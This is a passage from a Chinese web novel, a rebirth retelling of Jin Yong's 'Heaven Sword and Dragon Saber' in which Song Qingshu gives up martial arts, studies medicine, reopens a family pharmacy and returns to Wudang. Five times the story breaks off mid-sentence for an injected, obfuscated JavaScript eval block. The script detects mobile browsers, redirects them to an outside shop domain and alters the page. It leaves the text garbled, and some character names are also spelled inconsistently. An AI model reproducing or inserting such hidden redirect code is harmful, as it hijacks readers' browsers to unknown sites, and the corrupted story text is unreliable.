宋青书静静地看着宋远桥,目光沉静,映着跳动的烛火,也映着父亲额角暴起的青筋。他缓缓撩起衣袍下摆,跪了下去,膝盖触地,发出沉闷一声。 “青书不孝。”他声音不高,却字字清晰。 宋远桥看着跪得笔直的儿子,那背影依旧挺拔。 他的怒火犹在燃烧,此刻却忽然被一阵冰凉的痛惜浇了一下。 他想起多年前,后山练剑场,小小的孩童举着木剑,摇摇晃晃却一脸认真地跟着他比划“太极起式”。 那时阳光很好,那孩子的眼睛亮晶晶的,满是憧憬。 为什么? 宋青书俯身,额头触地:“青书让父亲失望了,但此志已决。并非厌弃武当,而正是太敬重‘武当’。此后,或耕作,或读书,只想以一具凡胎,尽余生之力,做些实实在在的事情。” 宋远桥踉跄一步,扶住桌沿。 掌心传来坚硬木质的触感,却支撑不住瞬间被掏空力气的身体。他看着儿子伏地的背影,那曾经能施展“梯云纵”轻灵如燕、能运使“神门十三剑”凌厉精准的背影,如今只剩下决绝的沉默。 他知道,儿子说的是“决定”,而不是商量。 这孩子,从小执拗,认准的事,九头牛也拉不回。 只是他从未想过,这执拗有一天会用在这里,用在……毁掉武当功夫上。 满腔的话——劝诫、怒斥、哀求——堵在喉咙里,最后只化作一声长长地、沉重到极点的叹息。 那叹息里,有身为父亲的痛心,更有一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109824|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深沉的、无法言喻的无力。 烛火又跳了一下。 宋远桥慢慢转过身,望向窗外沉沉的夜色。良久,他用沙哑疲惫的声音,轻轻问: “什么时候……动手?” 跪在地上的宋青书,肩膀几不可察地颤抖了一下,闭上的眼角,终于渗出一滴温热,迅速没入冰冷的地砖缝隙。 “明日……辰时。” “好。”那双手终究是垂下了,妥协了。 没有了内力,没有了武当第三代传人的名头,他不用活在自己那虚妄的世界里,不用再为一些可笑的名头弄丢真正想要的东西。 张松溪敏锐地捕捉到宋青书的异样变化,他觉得这个师侄经过这番事后,成长了不少,他真心为大哥感到高兴。 不能练武也没什么大不了的,大哥看到青书这个样子,也会心中欣慰的。 大哥,看来还需要一点时间来接受这个现实。 “你既已选择了我,我得偿所愿。” “你慧眼如炬,我就知道你必定会选择我,且看我在武林中掀起一番巨浪。” “啊?什么?不能改变原书的剧情,这是什么惨绝人寰的要求啊?” “要带着镣铐跳舞” 最后一句的语气实在沮丧至极,令宋青书不由失笑。 其实宋青书心内隐隐有感觉,这股气息就是那方虚无世界里钻入他体内的银色丝线。 “我能感受到你的情感,你应该多笑笑。” 宋青书好像看到了一个画圈圈的小人,背对着他,有无限的怨念无处发泄。 原来是这气息被禁言了。 不过这一禁言就是一辈子。 6. 心若无尘意自安 武当山门处,一个少年背着小布包,步子迈得又快又轻。手里还牵着一头小毛驴,这个少年正是宋青书。 这一年,宋青书大部分时间都待在武当的藏书阁内,阁内藏书极为丰富。 当宋青书踩着梯阶够到顶层那排蒙尘的书时,指头先触到了《禹迹图》的卷边,墨色勾勒的江河山脉在他眼前铺展开来,黄河如带,长江似练。 当读至《道德经》的上善若水,忽而又想起后山那条溪流,遇石则绕,遇洼则蓄的安然。 当他读至《神农本草经》时,南北草木,均可入药,岭南的槟榔能去瘴气,北疆之甘草可缓、急痛,又觉得无比神奇。 他心中暗暗忖度:是不是可以学医?可即使是医术,张无忌也是精通的,难道自己竟又要走回上一世的老路吗?和他去比,去争? 可难道张无忌学了什么,他就都要避开吗?他自己是可以选择的,他可以选持管住自己的心,不去喜欢周芷若。 而且书中对张无忘的医术只是大概地陈述,或者这是一个可以突破的点。 书中写当他跟随胡青牛学习医术,治好了被金花婆婆打伤的十几名伤者,当然这是在请教胡青牛的基础上。书中后面还写了在密道里,他为受伤的明教众人疗伤,人人只道这位少年教主武功深不可测,岂知他医道竟也如此精湛。 总体来说也写得很笼统暗昧。 后面还有可以质疑的两处地方一是以他之医术,居然没有看出殷离是假死;二是他连七虫七花膏和黑玉断续膏也分辨不出。 由此两处可见他的医术并不十分高明。如有十分,他的医术能得七八分这样子。可即使他医术能有十分,难道我想走的路竟就被他全部堵死了吗?那也未免太失掉人的志气了。 《九阳真经》上的一句话说得好:“我自一口真气足。”我自做好我自己的事,再论其他。 正当宋青书流连于藏书阁的医家典籍而忘返时,自他母亲那来了信,说她病势迁延数月未愈,欲令青书下山照料。 宋远桥临行前也嘱咐他:“你先下山去照顾你娘,等我门派事务少了,松泛一点再去找你们。” 回想起书中,再过不久,俞二叔就会带着五叔五婶回来,五叔五婶自杀,张无忌又中了寒毒,太师父和几位师叔到时要以内力替无极疗伤等一连串的事情,宋青书不由腹诽:恐怕你没有松泛的时候。 不过他面上只是点头,唯唯称是,所以才有前头这一幕。 但见山路迤逦,鸟雀翱翔,绿竹猗猗,宋青书一路疾行,终于到他母亲住处。 宋青书的母亲李桂芬李氏,住在武当山余脉处的小镇正东头的一座青瓦小院里,院墙外栽着两棵老桂树,入秋时满院飘香。 宋青书在门外听得咳嗽声断断续续,心不由得沉了沉。再进的门,只看见一个侍女,名叫茯苓的在给他母亲喂药。他母亲的脸色干黄,颧骨因久病显得格外突出。 “娘,我回来了。”想起上一世,母亲也是在这之后不久就去了,他心情沉郁,自己也不知道如何疏解。 父亲镇日忙于武当事务,太师父和几位师叔和为张无忌的寒毒而到处奔波忧虑,他们围着他一个人转,没有谁注意到宋青书这时也失去了母亲,更遑论从旁劝解了。 上辈子的他这时候想的是:父亲整日心系别人的孩子,对母亲疏于体恤,对自己更是不闻不问,只一味督促他苦练武功。 但既然天赐重来之机,他便要将上辈子的满腔郁结的怨气尽数抛开,凭着自己的双手,去扭转那些不尽如人意的过往,他想要靠着自己的力量,将某些遗憾一一修正。 “娘,您怎么病了这么久?”宋青书话音未落,便伸手攥住李桂风的手腕,指尖细细探着脉象,分辨内里虚实。李桂风望着他,眼中满是欣喜。 他虽饱读脉理医书,却从未真正亲手实践过。片刻后,心头已然明了——外邪侵体,郁结于心。 抬眼再看母亲,鬓边又添了几缕霜白,眼角的皱纹也深了几分,她垂着睫,眉间似压着千斤愁绪。 宋青书喉头一阵酸涩翻涌,泪水竟毫无预兆地落了下来。 在母亲面前,他何须强撑着那份少年人的倔强,不必再掩饰半分脆弱。 “孩子,别哭。”李桂芳见他落泪,反倒慌了手脚,忙抬手拭去他脸颊的泪,“娘只是身子不爽利,不打紧的。”她太清楚,这孩子素来内敛,从不在人前显露半分软弱,尤其是在至亲面前,更是将情绪藏得极深,今日这般失态,实在出乎她的意料。 宋青书看着母亲反过来安慰自己,眼泪越发收不住。他死死咬着下唇,强自忍下哽咽,心中已然打定主意:这一回,他定要好好开解母亲,他既知这郁结的根源何在,便一定要改写结局。 “娘,我不哭了。天色晚了,咱们早些歇着吧。”宋青书抬眸,眼底漾着无限希冀,语声轻缓又带着郑重,“日子还长着呢,娘,往后我一定多陪着您。” 说罢,他转身踱回自己的房间。往年这个时候,他早该下山好几趟,陪着母亲消磨些晨昏琐碎,享那几分淡淡温馨。偏生因着那件事耽搁了归期,才惹得母亲积郁在心,牵出一场病来。 屋里的陈设照旧,桌椅几榻纤尘不染,被褥叠得整整齐齐,显见是日日有人擦拭整理。这一尘不染的光景,正是母亲的舐犊情深,恰如那句诗——时时勤拂拭,意恐迟迟归。 宋青书轻叹一声,掀开柔软的棉被躺了进去。窗外夜色沉沉,屋内静悄悄的,这一夜,他睡得安稳,竟无一场梦扰。 次日清晨,宋青书梳洗停当,便径直往母亲李氏的卧房去。 刚至门口,便听见屋内传来李氏与丫鬟茯苓言笑晏晏的声息,那融融暖意漫出窗棂,让他悬了一夜的心,悄然安定了几分。 他先与侍立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109825|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在廊下的老管家叙过寒温,恭谨见礼,这才缓步踏入房中。 落座之后,他执起母亲的手腕,凝神细细把脉。 老管家奉了李氏的吩咐,亦凑近候着。 片刻后,宋青书松开手,微微颔首:“脉象瞧着沉稳了些许。”只是心结未除,病根终究难去。 李氏含笑望着他,眸中满是欣慰。 竟是在为她把脉么?这孩子此番归来,当真长大了许多,竟还懂得关心她这个母亲,连医术都悄悄学了。 犹记往日,他满心满眼尽是练武扬名的念头,于这些旁的门道,素来是不屑一顾的。一念及此,李氏的眼角眉梢,便尽数染上了藏不住的喜色。 “孩子,母亲这脉象如何?你倒是把出什么来了?”李氏似笑非笑地睨着他,分明是存了心要考校考校这个半路出家的“宋大夫”。 “脉弦而涩,原是有血瘀之象。”宋青书一本正经地回话,话锋却陡然一转,带了几分打趣,“许是牵挂的儿子回来了,又歇了一夜安稳觉,这才好了些。依我宋大夫看,娘这身子,不出几日定能痊愈。” “你这混小子,从哪里学了些皮毛,就敢来打趣你老娘?”李氏被他逗得眉开眼笑,眼角的细纹里都漾着暖意。 “儿子可不是打趣,这是做大夫的见识。”宋青书说着,目光已落到桌案上大夫开的方子上,又补了句软话,“况且,娘您看着,哪里有半分老态?” 宋青书一边暗赞那坐馆大夫的老辣手笔,一边斟酌着增减了方子里的几味药材,随即吩咐茯苓去拣药。 “吴伯,你且留步。”宋青书唤住了正要往院门外走的老管家吴三七。这老管家是外公在世时便跟在身边的老人,论资历论情分,都算得上是宋家值得敬重的长辈。 遥想当年,外公还在的时候,自家的李记药铺何等兴盛,十里八乡的百姓都慕名来抓药问诊。外公也常带着吴伯跋山涉水,去深山里采些寻常药铺寻不到的奇珍药材。 可自从外公几年前病逝,母亲李氏便因伤心过度,身子时好时坏,药铺的生意也一日不如一日,渐渐门可罗雀。约莫四年前,母亲瞧着几个伙计跟着她守着这半死不活的铺子,连糊口都成了难事,终究狠下心,把药铺关了门,连伙计带吴伯,都一并打发了去另谋生计。 吴伯脚步一顿,回头见是他,浑浊的眼眸里掠过几分诧异,忙拱手道:“小少爷,有何吩咐?” 宋青书也不多言,只引着他走到院角。吴三七顺着他的目光望去,顿时惊得 睁大了眼睛——那角落里,竟斜斜立着一方蒙尘的匾额,正是当年名噪一时的李记药铺的招牌。 宋青书指尖抚过匾额上斑驳的字迹,那些深嵌木痕的裂纹里积着经年尘埃,指尖轻轻一触便簌簌落下。他目光凝望着“李记药铺”四个苍劲有力的旧字,声音沉静却带着不容置疑的坚定:“吴伯,我想把药铺重新开起来。” 7. 心若无尘意自安2 吴三七浑身一震,怔在原地,嘴唇翕动了数次,浑浊的眼眸里翻涌着复杂的情绪,似是被这突如其来的话语勾起了无数尘封的旧事。他喉结滚动了两下,声音干涩得像是砂纸摩擦:“少爷,这药铺自老爷过世后,便关了这些年了……” “我知道。”宋青书打断他的话,语气里是前所未有的笃定,少年人的脸上褪去了往日的青涩,多了几分超乎年龄的沉稳,“凭我一个十几岁的娃娃,说要重开药铺,确实有些大言不惭。但我想跟吴伯开诚布公——我已无法练武,可丈夫立于世,总得有一番事业撑起身骨,所以我决意重拾外公的医术,走上学医济世的路。” 他望着吴三七眼中熟悉的关切与迟疑,言辞愈发恳切:“我清楚,重开药铺绝非易事,其中的艰难险阻,我纵然年幼也略知一二。” “可……”吴三七心内的疑虑仍未消散,话到嘴边却被宋青书接下来的动作惊得说不出话。 只见宋青书对着他深深一揖,随即缓缓跪了下去,背脊挺得笔直,眼神清澈而坚定:“所以,恳请吴伯教我。” 吴三七浑身一颤,浑浊的眼睛里瞬间泛起泪光,那些被岁月磨平的情愫与忠诚,在这一刻尽数被唤醒。他连忙也跪了下去,双手扶住宋青书的胳膊,声音带着抑制不住的哽咽:“少爷抬爱,老奴……老奴遵命!” “谢过吴伯!”宋青书眼中也泛起暖意,扶着吴三七缓缓站起身来。 他抬手拂去匾额上的浮尘,目光灼灼,少年意气在眼底熊熊燃烧:“这几日便劳烦吴伯费心,采买些上好的药材,再把当年铺子里的几位伙计请回来。再过些时日,这李记药铺,也该重新开门迎客了。” 10 吴三七望着眼前眼底燃着光的宋青书,胸中积压多年的热血竟忍不住涌动起来,暗自思忖:“赔着我这把老骨头,陪小少爷再干一场,又有何妨?” 眼角的皱纹也含着笑意漾开,整个人仿佛都年轻了好几岁。 宋青书这些日子忙得脚不沾地,一边要照料药铺重开的诸多事宜,修葺店面、擦拭柜台、采买药材,事事亲力亲为,那边早已是如火如荼;一边仍恪守着晨昏定省的规矩,每日再忙,也定会抽出时间陪母亲李桂风说说话,关切她的起居冷暖。 这日,宋青书端着一碗温热的莲子羹轻步进屋,见李桂风正倚在窗边,目光遥遥望着武当山的方向,神色怔怔出神,眼底蒙着一层化不开的怅惘。他放轻脚步,将莲子羹稳稳搁在桌上,在她对面轻轻坐下,声音柔得像春阳:“娘,天冷了,窗边风大,仔细着凉。” 李桂风回过神来,眼底的怅然却未完全散去,她轻轻叹口气,语气里带着几分难言的牵挂:“你爹……已经很久没下山了。山上事务再忙,他总该……” “娘,”宋青书温声打断她,指尖轻轻摩挲着衣袖上的细纹,耐着性子劝慰,“武当上下数百弟子,大小事务都要他料理,肩上的担子重得很,实在是身不由己。您总这般惦记着他,反倒忘了顾惜自己。从前您跟着外公认药辨药,眼光准得很,外公的药铺,有一半是您撑起来的。” 他话锋一转,目光恳切地望着母亲:“这几日药铺那边的动静,您想必也察觉到了。我打算重开李记药铺,也决意修习医术,这条路,孩儿需要您的帮助。” 李桂风眸光微微一动,似有波澜掠过,可转瞬又黯淡下去,轻声道:“重开药铺?我一个妇道人家,能帮上什么?” “娘,您忘了?”宋青书眼中闪着光亮,语气愈发恳切,“当年药铺的账目,您算得又快又准,若不是有您坐镇,铺子早该亏空了。如今重开药铺,既能解一时之急,您每日配药算账,也能打发时日,岂不是两全其美?” 他顿了顿,又柔声补充,“爹虽忙,心里定然是惦记您的。您把自己的日子过得充实舒心,他在山上也能少些牵挂。总对着院子发呆,倒不如去药铺里忙活,日子过得也快些。” 少年眼中的鼓励温温热热,熨帖得人心头发软。李桂风听着这番话,心中的松动又多了几分,忍不住失笑:“你这孩子,如今倒是既学会了逗弄人、更会劝说人了。那药铺……真能重开起来?” “自然能!”宋青书眉眼舒展,笑得愈发真切开怀,眼底满是少年人的笃定与意气,“吴伯已经把从前的老伙计都召回来了,这几日他们收拾店面、修葺柜台、采买药材,铺子早就有模有样了。不信您明日亲自去瞧瞧?” 他细细跟母亲说起这几日的筹备,末了提议道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109826|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如把清莲也召回来帮忙?” “不可。”李桂风摆摆手,忍不住笑出声来,“她早已嫁做人妇,怎好再出来抛头露面?” 她望着儿子急切的模样,只觉得这孩子为了药铺,倒是有些心急过了头。 “嫁做人妇,也未必不能像男子一般做事补贴家用呀。”宋青书历经一世浮沉,许多事早已看得通透。 李桂芳心中的症结一旦解开,思路便豁然开朗,反倒生出了新的担忧,蹙眉问道:“儿啊,你把老伙计们都叫回来,又是修店面又是买药材,这般折腾,你手里的银钱还够用吗?” “娘放心,无事。”宋青书笑得胸有成竹,“您明日去看看就知道了。” 清风衔日,破晓而出,流云漫卷过苍松之巅,山巅石案横陈,两位老者正对坐弈棋。 左侧老者身着葛巾布袍,指尖拈一枚黑玉棋子,眉目清癯如远山含黛,沉静无波;右侧道人则披鹤氅、戴新冠,手中白瓷茶盏氤氲着袅袅热气,鬓边白发被山风拂得微扬,自有一派仙风道骨。 “漏出些风声,再将那蠢物禁言,你是故意为之。”道人呷了口热茶,目光仍落在棋盘上,语气平淡却一语道破。 葛巾老者抿唇微哂,指尖黑棋悬而未落:“你既已猜出,何须多问?” “该你落子了。” 道人轻笑,袍袖间拂尘轻挽。“急什么?你这黑棋看似占尽边角,实则中腹空虚。我若在此补一手,你这大龙,便再无生路。” 布袍老者挑眉而笑,捻着颌下髭须,慢条斯理道:“我偏不救,且看它如何置之死地而后生。” “原来你在此处跟我打哑谜。”道人恍然,伸手从岸边竹篮中取出一壶清酒,拔塞时酒香四溢,他咂摸半口,眸中闪过一丝玩味,“若他听不明白这弦外之音,你又当如何?” 葛巾老者广袖轻扬,周身似有淡淡岚气弥散,拂开身前一缕云雾:“全看他自身造化。” “我们权且静观,聊当佐酒之乐。”道人朗声大笑,伸手指向对面老者,眼底藏不住赞赏,“不过说真的,我见那少年资质着实不错,倒想收他为徒。” 布袍老者脸色微沉,断然道:“那可不行,他早已是我看中的人。” 8. 心若无尘意自安3 吴管家连日来与宋青书朝夕忙碌,药铺重开的大小事宜,或是他从旁悉心指点,或是宋青书独当一面处置妥当。 吴三七见宋青书待人接物不疾不徐,行事稳重自持,早已褪去往日的桀骜浮躁,整个人的气质沉淀得愈发内敛可靠。 瞧着少年与采药的村民耐心交涉价钱,而后将新鲜药材分门别类、安置得井井有条,动作利落不拖沓,吴管家心头暖意潺潺漫溢——这孩子如今这般踏实妥帖,九泉之下的老爷若是瞧见,定然也会眉眼舒展,满心欣慰。 白日里的李记药铺,总萦绕着热闹的烟火气。 药香混着清冽山风漫过门槛,沁人心脾。 宋青书扎着素色布巾,或是对着抓药的病人细细叮嘱煎药的火候、服药的禁忌,或是持着竹簪娴熟称药,分寸拿捏得丝毫不差。 他往往忙到日影西斜,晚霞染红河面,才亲手将药铺的门板一一上栓,结束一日的忙碌。 宋青书顾念着母亲李桂风身子尚未痊愈,暂不让她操劳繁杂事务,只请她打理账目往来。 不过两月光景,药铺便渐渐步入正轨,宋青书这才分出闲暇,重拾外祖遗留的医书。 宋家本以医药传家,外公留下的皆是些泛黄卷册,纸页间还留着老人当年圈点批注的墨迹——外公在世时亦能为人开方诊病,只是药铺主业仍以抓药为主。 宋青书指尖轻抚《伤寒论》磨损的边角,逐字逐句细细研读,遇有不解之处便反复揣摩。后来他又添置了许多新刊医书,将自己的小房间打理成一方安稳书房,每每一盏油灯相伴,读到深夜。 指尖划过书页上的新旧批注,他时而蹙眉深思,时而提笔补记心得,药香、墨香与书香交织萦绕,将他周身的浮躁之气尽数涤荡。彼时的他,眉间尽是沉静清冷,执卷时指尖翻动书页的动作都带着几分雅致,举手投足间,已然有了谦谦君子的温润气度。 李桂风每每瞧见儿子天不亮便起身打理药铺,夜里油灯亮至三更仍未歇息,总不免心疼叹道:“青书,你这般日夜操劳,便是铁打的身子,也经不起这般熬啊。” 宋青书闻言,总漾着温和的笑意搪塞:“娘,不妨事的。这里晨露清冽,晚风宜人,比从前练拳脚时省心多了。” 待李桂风还想再劝,他便拿起手边的医书,指着某一页笑道:“您瞧,这味药的配伍之法我琢磨了两日,今日才算有了些头绪。” 三两句话便轻巧岔开了话题。 李桂风心中纵有万般担忧,见状也只得无奈摇头,任由他去了。 宋青书思绪流转间,不由得想起六叔殷梨亭的旧事——六叔因迟迟得不到五叔消息,于是改道赴峨眉山,欲履行与纪晓芙的婚约,却惨遭灭绝师太和纪晓芙断然拒绝,结局令人唏嘘。 这般思忖着,日子悄然划过数月,李记药铺已渐渐有了盈利之象,生意愈发稳妥。 忽有一日,他猛然记起,再过不久便是太师傅张三丰的百年大寿。 前世记忆如潮水般涌来,寿宴之上,张五叔五婶双双自杀殒命的惨状历历在目,再想起那句莫名萦绕心头的“不可改变原书剧情”,他心中五味杂陈。 他如今不过是个十几岁的少年,纵使有心力挽狂澜,恐怕也只是心有余而力不足。念及此,他便压下纷杂思绪,不再作无谓空想,依旧沉心研读医书,每日过得充实而笃定。 李桂风的日子也愈发舒心满足,心中郁结散去,顽疾竟彻底痊愈。 昔日的使女清莲也寻了回来,留在药铺里帮忙打理杂务;茯苓则专注照料内宅琐事,两个丫鬟各司其职,事务虽繁,却将里外打理得井井有条。 李桂芳被这些忙碌填满了时光,再也无暇惦念武当山上的宋远桥。 她心境平和,对宋远桥也渐渐生出理解,进而释然,到最后竟也不甚在意了。 她对儿子弃武从医之事更是欣喜无限。因此,于李桂芳而言,重开药铺意义非凡,她如今只愿伴着青书,过这般平淡而有温度的日子。 只要有药铺在,青书就会回来! 又过了数月,宋青书忽然察觉,体内那股沉寂已久的气息竟隐隐有了流转之象,宛如静水投石,泛起圈圈涟漪,且随着时日推移,这股气息竟在慢慢增长壮大。 他蓦然惊觉,这变化约莫是张无忌从冰火岛归来之后开始的。 这气息可能是依张无忌而生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109827|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他双目微合,沉心入境,只觉那股内息已从往日的暴躁变得温润平和,在经脉中缓缓游走。 他并未依着武当九阳功的根基心法去刻意导气——他深知这股气息颇为“傲娇”,断不会循规蹈矩沿着九阳功的路径前行,便索性放任它在体内自然弥散,浸润四肢百骸。 这般调息过后,他只觉身体愈发轻盈,即便熬夜研读至深夜,也不再似从前那般疲累。许是得益于此,宋青书愈发勤勉,恨不得将世上医书尽数读遍,方能解心中求知之渴。 他时常埋首于泛黄的卷册之中,耳畔却总适时传来几声怯生生的问询。来者多是山下的农妇,或是遭了跌打损伤的樵夫,或是受了风寒咳疾的老人,他们囊中羞涩,请不起镇上的郎中,便凭着当年李老爷的清誉,寻到了这李记药铺。 起初,宋青书尚有几分踌躇。他深知自己年轻识浅,医术尚未精湛,纵使研读了些时日医书,可临阵诊病终究不同,生怕出现差池。 可转念一想,临床经验本就是医术精进的阶梯,“丑媳妇总要见公婆”,若一味畏缩,永远难有长进。 再瞧着孩童烧得通红的脸颊,老人因苦痛而紧锁的眉头,那份犹豫便被他强行压了下去。 他开方时,只捡最寻常易得的药材,既省钱又有效,再细细叮咛煎煮的火候、服药的时辰与禁忌,句句细致入微,毫无半分敷衍。 农户们感念他的仁心恩德,时常会拎一篮子新摘的野菜,或是捧一壶自酿的米酒送来。 宋青书推辞不过,便欣然收下,转而取些炮制好的草药回赠,还耐心教他们平日里如何调理身体、预防小病。 日子久了,周围几十里的百姓都晓得,李记药铺里有位年少的大夫,医术或许不算顶尖,待人却极为温和热忱,宅心仁厚。 再也无人提及他曾是武当第三代弟子中最出挑的剑客,众人只当他是个寻常却靠谱的小大夫。 宋青书心中早已立下宏愿:总有一天,他要将这药铺扩建为医堂,再发展成真正的医馆,广济乡邻,济世救人。 正因这份念想,他愈发刻苦努力,日夜沉浸在医书与诊病之中,朝着心中的目标稳步前行。 9. 心若无尘意自安4 如此又过了半年,算来距张无忌归山,已是整整一年。 宋青书时常想起上一世。 那时他与张无忌素未谋面,自始至终,宋青书守在母亲身侧,直至李桂风离世。 两人的初遇,还是在光明顶下,六大门派合围明教时,与峨眉同道汇合的那一日。 细想来,他宋青书在书里,倒像是作者随手捏来的人物,凭空生出,只为做张无忌的对照。 可这一世不同了,他要把自己这空白的人生填得满满当当,活出真正属于自己的模样。 上一世,张无忌仁厚侠气,他便是作那卑劣狭隘之徒;可如今他早已不是当初的模样,他与张无忌之间,再无半分相互妨碍的纠葛。 既然如此,是时候去见见他了。若能与他结交为好,倒也不是一桩坏事。 况且,他也着实想念父亲,想念几位师叔,更想念鬓发如雪的太师傅。 作者在后记里说,张无忌是个普通人。这话,宋青书却不敢苟同。 只是此刻,他对张无忌早已没了半分反感,更遑论恨意。打定主意后,他便将此事告知了母亲李桂风。 李桂风初闻之时,眼底难免浮现出一丝伤感,可没过几日,便又恢复了往日的平和。 她心里清楚,儿子总不能一辈子守在自己身边,他该出去闯荡江湖,也该去见见他的亲生父亲宋远桥。 况且,只要这家药铺还在,还怕儿子不常回来吗? 她也瞧得明白,儿子这般发狠地钻研医术,日后这药铺终究是要交到他手上的,她定要替儿子守好这方寸之地。 “青书,你就放心去吧。娘,会好好的。” 宋青书闻言,郑重颔首。 宋青书还带了好些上好药材,野山参、何首乌、雪山茯苓之类应有尽有,一来供父亲与几位师叔滋补耗损的内力,二来张无忌身中寒毒也需要一些上好的药材。 山风卷过,惊涛般送来了三清殿的钟声,与他二十七岁记忆里的声响分毫不差,竟生出几分恍如隔世的怅然。 他立在紫霄宫下,垂首敛眉静候,待宋远桥、俞莲舟等几位师叔走近,便上前一步,行的是武当弟子的礼,他沉声道:“青书,拜见父亲,拜见各位师叔。” 声音低沉,裹着几分不易察觉的沙哑。他忽然想起书中后记所言,此书重心从不在男女情爱,而在男子间的情谊——是父子骨肉情,亦是师兄弟手足情。 宋青书暗忖:上一世,便是我碍了害了你们的兄弟情,亲手割裂了武当的温情,践踏了师门的信义。 这一世,他绝不能重蹈覆辙。 他要守着父亲的清誉,护着师叔伯们之间的深厚的情义。 俞莲舟目光如电,落在他身上。这个他看着长大的师侄,步履间竟有了沉稳如水的从容,自生一股内敛气度。 宋青书亦坦然回视,躬身再礼:“俞二叔。”动作无可挑剔,连低头时脖颈弯折的弧度都恰到好处。 俞莲舟留意到他束发的竹节簪虽素朴无华,却更衬得他目若朗星、面如冠玉。 时隔数年,这师侄竟已让他刮目相看。再迎上他的目光,清凌凌的,像后山深处的净潭,没了往日的躲闪迟疑,坦荡承受着自己的审视。 俞莲舟心中暗叹:悠悠青天,何其薄待我武当?第三代一个身中寒毒无计可施,一个本是卓绝好苗子,却中途折戟,再难习武。 他早已从众兄弟口中得知宋青书的际遇,当下便虚扶他一把,语含暖意:“青书,你回来便好。” 一旁的殷梨亭性情素来温厚,见状轻轻叹了口气。往日里他常指点宋青书练武,此刻瞧着这般光景,心里满是惋惜,便温声道:“青书,走,随六叔去后山摘些新茶。” 殷梨亭心思细腻,骨子里却藏着旁人不及的坚韧。 莫声谷立在一旁,双拳已悄然握紧,少年人的眼底闪着执拗的光——他定要将武功练得愈发精深,往后,由他来护着青书。 “你先随你六叔去摘茶,回来之后,再到我房里来。”宋远桥神色淡淡,语气里带着不容置喙的严肃。 “是,父亲。” 殷梨亭听得这声恭谨的应答,不由得诧异地看了大哥一眼,又转头望了望宋青书,轻咳一声,将满心的疑惑压了回去。这对父子之间的气氛,实在是微妙得很。 宋远桥的房间里,窗外寒风猎猎,卷得窗棂轻响,也掀起了他身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109828|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袍,露出内里玄色的中衣。 他颔下的胡须微微颤动,青丝间早已见了霜白,纵是习武之人比寻常人容颜迟暮,可鬓边的白发却仍在一日日增多。 平日里温和的眼眸,此刻沉沉地锁在宋青书身上,开口时声音不高,却带着一股威严:“我听说你娘说,你如今在学医?” 宋青书拱手,沉声应道:“是。” “也好,”宋远桥话锋一转,“无忌是你五叔的孩儿,你五叔五婶早已不在人世,往后,你须得好好照看他。” “青书谨记父亲教诲。” 宋远桥听得这声疏离客气的“父亲”,眸光骤然一缩,声音陡然拔高几分:“我武当弟子,最看重的便是同门情谊!你是师门的大师兄,更是我宋远桥的儿子,长兄如父,这份责任,你更要牢牢担在肩上!” “青书知晓了。”宋青书垂眸,语气平静无波,“青书定会好好照看无忌师弟。” 父子二人一时无话,仿佛有一道无形的隔阂,横亘在彼此之间,沉甸甸的,压得人喘不过气。 宋青书心里清楚,父亲总是这般,该慈和的时候偏生严苛,该厉声斥责的时候,反倒又显出几分温吞的宽仁。 可转念想起上一世,父亲手持长剑,说要清理门户时,那份痛心疾首、终究不忍下手的模样,心底那点如丝如缕的怨怼,便尽数消散了。 